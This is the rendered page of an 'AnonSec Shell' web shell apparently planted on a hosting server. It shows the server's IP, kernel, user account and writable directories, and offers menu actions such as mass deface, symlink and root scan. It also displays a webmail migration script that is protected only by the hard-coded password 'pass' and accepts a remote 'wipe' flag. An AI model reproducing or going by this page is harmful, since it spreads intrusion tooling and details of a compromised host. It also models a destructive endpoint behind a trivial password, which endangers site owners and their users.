AnonSec Shell
Server IP : 162.0.209.157  /  Your IP : 52.14.255.122   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux premium178.web-hosting.com 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : balaoqob ( 2395)
PHP Version : 8.0.30
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/softaculous/webmail/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/softaculous/webmail/migrate.php
<?php
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Output\BufferedOutput;

require_once "../system/autoload.php";
\Aurora\System\Api::Init(true);

$sPassword = "pass";

set_time_limit(0);

if (!(isset($_GET['pass']) && $sPassword !== '' && $sPassword === $_GET['pass'])) {
    exit("Migration script password is incorrect or not set.");
}

class P8ToP9Migration
{
    
    public function Init()
    {
    }
    
    public function Start()
    {
        try {
            $container = \Aurora\Api::GetContainer();
            $container['console']->setAutoExit(false);

            $output = new BufferedOutput();

            $container['console']->find('migrate:eav-to-sql')
                ->run(new ArrayInput([
                    '--no-interaction'=>true,
                    '--wipe'=>!!$_GET['wipe'],
                    '--quiet'=>!!$_GET['quiet'],
                    '--migrate-file'=>!!$_GET['migrate-file'],
                ]), $output);

            $content = array_filter(explode(PHP_EOL, $output->fetch()));
            dd($content);
        } catch (\Exception $oEx) {
            dd($oEx);
            \Aurora\System\Api::LogException($oEx);
        }
    }

}
ob_start();
$oMigration = new P8ToP9Migration();
$oMigration->Start();
ob_end_flush();
exit("Done");

Anon7 - 2022
AnonSec Team